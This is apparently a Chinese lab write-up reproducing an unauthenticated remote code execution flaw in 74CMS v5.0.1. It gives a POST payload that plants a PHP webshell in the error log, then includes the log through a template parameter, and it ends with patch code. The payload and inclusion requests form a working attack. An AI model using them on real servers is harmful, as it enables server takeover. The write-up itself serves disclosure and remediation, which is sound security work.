74CMS漏洞复现
漏洞描述：
由于74CMS 某些函数存在过滤不严格，攻击者通过构造恶意请求，配合文件包含漏洞可在无需登录的情况下执行任意代码，控制服务器。
影响范围：
74CMS_v5.0.1
版本低于6.0.48
环境复现：
这里采用安鸾渗透实战平台的靶机? 地址
漏洞复现：
访问http://www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl?发现报错
访问 www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl
POST提交:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
?将shell写入报错日志文件中
开始包含：
POST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log(这个日志文件名为你该天的年月日)
?成功包含
进行语句验证
?蚁剑进行连接
?
漏洞修复：
在下面路径的169行进行修改
/Application/Common/Controller/BaseController.class.php未修改前：
public function assign_resume_tpl($variable,$tpl){
? ? ? ? foreach ($variable as $key => $value) {
? ? ? ? ? ? $this->assign($key,$value);
? ? ? ? }
? ? ? ? return $this->fetch($tpl);
加入下面这行代码：
$view = new \Think\View;
?
? ? ? ? $tpl_file = $view->parseTemplate($tpl);
?
? ? ? ? if(!is_file($tpl_file)){
?
? ? ? ? ? ? return false;
?
? ? ? ? }
?
// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
? ? ? ? foreach ($variable as $key => $value) {
? ? ? ? ? ? $this->assign($key,$value);
? ? ? ? } // fix 20210203
?? ??? ?$view = new \Think\View;
? ? ? ? $tpl_file = $view->parseTemplate($tpl);
? ? ? ? if(!is_file($tpl_file)){
? ? ? ? ? ? return false;
? ? ? ? }
? ? ? ? return $this->fetch($tpl);
? ? }
下面路径的文件：
/ThinkPHP/Library/Think/View.class.php
View.class.php文件中106行fetch方法中修改
?
? // 将110行
?
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
?
// 代码注释替换为
?
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));